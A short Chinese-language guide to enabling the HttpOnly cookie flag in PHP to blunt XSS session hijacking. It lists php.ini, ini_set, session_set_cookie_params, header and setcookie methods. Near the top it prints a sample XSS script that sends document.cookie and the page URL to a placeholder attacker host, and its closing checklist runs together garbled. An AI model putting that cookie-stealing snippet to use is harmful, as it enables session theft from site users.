XSS 攻擊核心危害在於竊取 document.cookie 劫持用戶 Session。現代瀏覽器支援 Cookie HttpOnly 標誌,啟用後 JavaScript 無法讀取該 Cookie,大幅降低 Session 劫持風險。本文說明 PHP 多版本啟用方式。
// 惡意腳本竊取 Cookie 並發送至攻擊者伺服器
url = document.top.location.href;
cookie = document.cookie;
c = new Image();
c.src = 'https://www.attacker.com/steal.php?c=' + cookie + '&u=' + url;
// 方法一:php.ini 全域啟用(需重啟 PHP-FPM/Apache)
session.cookie_httponly = 1
// 方法二:運行期設定(在 session_start() 前呼叫)
ini_set("session.cookie_httponly", 1);
// 方法三:session_set_cookie_params() 第 5 參數
session_set_cookie_params(0, null, null, null, true);
// 手動發送 Set-Cookie 標頭
header("Set-Cookie: session_id=value; HttpOnly");
// setcookie() 第 7 參數(PHP 5.2+)
setcookie('token', $value, 0, '/', '', false, true);
HttpOnly 欄位顯示 ✓ 或 truedocument.cookie 應不包含該 Cookiehtmlspecialchars)、CSP 標頭、輸入驗證等多層防護Secure,確保 Cookie 僅在加密傳輸SameSite=Strict/Lax 防禦 CSRF